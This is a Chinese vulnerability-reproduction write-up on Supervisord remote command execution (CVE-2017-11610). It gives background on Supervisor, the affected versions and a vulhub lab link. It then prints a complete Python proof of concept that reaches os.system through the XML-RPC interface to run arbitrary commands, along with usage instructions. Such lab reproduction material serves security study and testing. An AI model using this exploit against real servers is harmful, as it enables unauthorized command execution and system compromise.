Supervisord 远程命令执行漏洞（CVE-2017-11610）漏洞复现

Supervisord介绍

背景：在一个分布式环境中，每台机器上可能需要启动和停止多个进程，使用命令行方式一个一个手动启动和停止非常麻烦，而且查看每个进程的状态也很不方便。如果有一个工具能够实现每台机器上多个进程的简单高效中心化管理将是非常方便的。于是Supervisord工具应运而生。与Supervisord类似的工具包括monit, daemontools和runit。

Supervisord： supervisord的官网：http://supervisord.org。

Supervisor是一个客户/服务器系统，它可以在类Unix系统中管理控制大量进程。Supervisor使用python开发，有多年历史，目前很多生产环境下的服务器都在使用Supervisor。

Supervisor的服务器端称为supervisord，主要负责在启动自身时启动管理的子进程，响应客户端的命令，重启崩溃或退出的子进程，记录子进程stdout和stderr输出，生成和处理子进程生命周期中的事件。可以在一个配置文件中配置相关参数，包括Supervisord自身的状态，其管理的各个子进程的相关属性。配置文件一般位于/etc/supervisord.conf。

Supervisor的客户端称为supervisorctl，它提供了一个类shell的接口（即命令行）来使用supervisord服务端提供的功能。通过supervisorctl，用户可以连接到supervisord服务器进程，获得服务器进程控制的子进程的状态，启动和停止子进程，获得正在运行的进程列表。客户端通过Unix域套接字或者TCP套接字与服务端进行通信，服务器端具有身份凭证认证机制，可以有效提升安全性。当客户端和服务器位于同一台机器上时，客户端与服务器共用同一个配置文件/etc/supervisord.conf，通过不同标签来区分两者的配置。

平台要求：

Supervisor可以运行在大多数Unix系统上，但不支持在Windows系统上运行。

Supervisor需要Python2.4及以上版本，但任何Python 3版本都不支持。

漏洞介绍

Supervisord是使用Python 开发的进程管理程序，Supervisord能够将命令行进程或服务变为后台运行的deamon（守护进程）。Supervisord拥有监控进程状态的功能，在进程异常退出时能够自动重启进程。

Supervisord在配置了Web接口后，服务器会启动一个XMLRPC服务器，端口号为9001，利用本漏洞，在获取接口访问权限后，远程攻击者可利用发送一段精心构造的请求，导致可在服务器执行任意代码。

漏洞影响版本

VSupervisord 3.1.2 <= Version <= 3.3.2

漏洞复现

利用vulhub中的漏洞进行复现：https://vulhub.org/#/environments/supervisor/CVE-2017-11610/

poc检测

poc内容如下

#!/usr/bin/env python3
import xmlrpc.client
import sys


target = sys.argv[1]
command = sys.argv[2]
with xmlrpc.client.ServerProxy(target) as proxy:
    old = getattr(proxy, 'supervisor.readLog')(0,0)

    logfile = getattr(proxy, 'supervisor.supervisord.options.logfile.strip')()
    getattr(proxy, 'supervisor.supervisord.options.warnings.linecache.os.system')('{} | tee -a {}'.format(command, logfile))
    result = getattr(proxy, 'supervisor.readLog')(0,0)

    print(result[len(old):])

使用方法：python3 url/RPC2 '命令'

—— 心，若没有栖息的地方，到哪里都是流浪